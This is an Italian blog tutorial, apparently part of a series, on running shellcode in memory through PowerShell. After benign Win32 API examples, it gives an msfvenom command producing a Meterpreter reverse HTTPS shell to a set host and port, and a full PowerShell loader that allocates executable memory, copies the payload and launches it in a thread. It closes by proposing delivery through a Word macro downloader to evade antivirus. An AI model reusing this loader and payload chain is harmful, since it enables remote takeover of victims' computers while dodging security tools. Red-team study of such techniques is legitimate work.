Eseguire uno Shellcode in memoria con Powershell

Tempo di lettura: 7 minuti

Introduzione

Le tecnica presentata nello scorso articolo è buona, ma non ottimale. Il problema principale deriva dal fatto che una volta che viene chiuso Word la nostra shell verrà chiusa di conseguenza, in quanto è un processo dipendente da Word. Per ovviare a questo problema si potrebbe inserire all’interno del documento Word un downloader che scarica un file esterno in Powershell e che viene eseguito in memoria, sempre per diminuire la possibilità di essere identificato da un Antivirus.

Accedere a WIN32 tramite Powershell

Poichè Powershell non può interagire direttamente con le API Win32, è necessario importarle con C# e successivamente importare il codice C# all’interno di Powershell.

Usando Pinvoke, possiamo capire come importare per esempio l’API MessageBox in C#

[DllImport("user32.dll", SetLastError = true, CharSet= CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);

Il programma in C# sarà quindi

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace MsgBox
{
    class Program
    {
        [DllImport("user32.dll", SetLastError = true, CharSet= CharSet.Auto)]
        public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);

        static void Main(string[] args)
        {
            MessageBox((IntPtr)0, "Hello World", "Title", 0);
        }
    }
}

Dovendolo importare all’interno di Powershell, sarà sufficiente aggiungere un Type con Add-Type e poi eseguirlo. Il codice è il seguente

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public static class User32
{
    [DllImport("user32.dll", SetLastError = true, CharSet= CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);
}
"@

[User32]::MessageBox(0,"Hello World","Title",0)

GetComputerName in Powershell tramite Win32 API

Come per lo scorso articolo, proviamo a utilizzare l’API GetComputerName. Su Pinvoke lo troviamo definito in questo modo:

[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
static extern bool GetComputerNameEx(COMPUTER_NAME_FORMAT NameType,StringBuilder lpBuffer, ref uint lpnSize);

Poichè il tipo COMPUTER_NAME_FORMAT non è un tipo di variabile predefinito, nel programma C# è necessario dichiararlo. Sulla documentazione Windows lo troviamo definito in C++, ma per convertirlo in C# basta cambiare alcune parole chiave

enum COMPUTER_NAME_FORMAT {
ComputerNameNetBIOS,
ComputerNameDnsHostname,
ComputerNameDnsDomain,
ComputerNameDnsFullyQualified,
ComputerNamePhysicalNetBIOS,
ComputerNamePhysicalDnsHostname,
ComputerNamePhysicalDnsDomain,
ComputerNamePhysicalDnsFullyQualified,
ComputerNameMax
} 

Il programma C# risulterà quindi definito in questo modo

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
using System.Text;

namespace ComputerName
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern bool GetComputerNameEx(COMPUTER_NAME_FORMAT NameType, StringBuilder lpBuffer, ref uint lpnSize);
        enum COMPUTER_NAME_FORMAT
        {
            ComputerNameNetBIOS,
            ComputerNameDnsHostname,
            ComputerNameDnsDomain,
            ComputerNameDnsFullyQualified,
            ComputerNamePhysicalNetBIOS,
            ComputerNamePhysicalDnsHostname,
            ComputerNamePhysicalDnsDomain,
            ComputerNamePhysicalDnsFullyQualified
        }
            
        static void Main(string[] args)
        {
            bool success;
            StringBuilder name = new StringBuilder(260);
            uint size = 260;
            success = GetComputerNameEx(COMPUTER_NAME_FORMAT.ComputerNameDnsHostname, name, ref size);
            Console.WriteLine(name.ToString());
        }
    }
}

Anche qui per convertirlo basterà aggiungere la dichiarazione e poi eseguirlo. Di seguito il codice in Powershell

$ComputerNames = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

namespace ComputerName
{
    public enum COMPUTER_NAME_FORMAT {
        ComputerNameNetBIOS,
        ComputerNameDnsHostname,
        ComputerNameDnsDomain,
        ComputerNameDnsFullyQualified,
        ComputerNamePhysicalNetBIOS,
        ComputerNamePhysicalDnsHostname,
        ComputerNamePhysicalDnsDomain,
        ComputerNamePhysicalDnsFullyQualified,
        ComputerNameMax
        } 

    public static class Kernel32
    {
        [DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern bool GetComputerNameEx(COMPUTER_NAME_FORMAT NameType,StringBuilder lpBuffer, ref uint lpnSize);
    }
}
"@

Add-Type -TypeDefinition $ComputerNames -PassThru

$size = 260
$str_builder_obj = [System.Text.StringBuilder]::new($size)

[ComputerName.Kernel32]::GetComputerNameEx([ComputerName.COMPUTER_NAME_FORMAT]::ComputerNameDnsHostname, $str_builder_obj, [ref]$size)
$str_builder_obj.ToString()

Shellcode in Powershell

Ora che abbiamo capito come funziona il tutto, facciamo gli stessi passaggi con lo shellcode creato nello scorso articolo:

  1. Allocare memoria per lo shellcode
  2. Copiare lo shellcode all’interno della memoria
  3. Creare il thread di esecuzione dello shellcode

Le API che utilizzeremo sono:

  1. VirtualAlloc
  2. Metodo Marshal.Copy di .NET
  3. CreateThread

Le definizioni dei due, prese da pinvoke sono:

[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

 [DllImport("kernel32", CharSet = CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

Come prima cosa creiamo lo shellcode con msfvenom

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.113 LPORT=443 EXITFUNC=thread -f ps1

Successivamente dichiaro il buffer dello shellcode, ne preciso la grandezza e alloco la memoria

[Byte[]] $buf = 0xfc....0xd5  
$size = $buf.Length  

[IntPtr]$addr = [Shell]::VirtualAlloc(0, $size, 0x3000, 0x40)  

Una volta allocata devo copiare lo shellcode all’interno della memoria

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)

Poi creare il thread

$handle=[Shell]::CreateThread(0, 0, $addr, 0, 0, 0);

E come ultimo passo usiamo l’API WaitForSingleObject che ci permette di eseguire lo shellcode senza che venga killato a fine esecuzione.

La definizione è la seguente

[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

Per richiamarla

[Shell]::WaitForSingleObject($handle, [uint32]"0xFFFFFFFF")

Mettiamo ora tutto insieme

$Shell = @"
using System;
using System.Runtime.InteropServices;

public class Shell {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@

Add-Type $Shell

[Byte[]] $buf = 0xfc....0xd5
$size = $buf.Length

[IntPtr]$addr = [Shell]::VirtualAlloc(0, $size, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)

$thandle = [Shell]::CreateThread(0, 0, $addr, 0, 0, 0)

[Shell]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

Conclusioni

Se ora volessimo unire il downloader dentro una macro Word, potremmo scaricare questo Powershell da remoto che verrà eseguito quasi completamente in memoria andando ad evadere alcuni AV (solo quelli più stupidi in realtà). Le vera evasion la vedremo nei prossimi articoli.

Alcune risorse utili per approfondire l’argomento: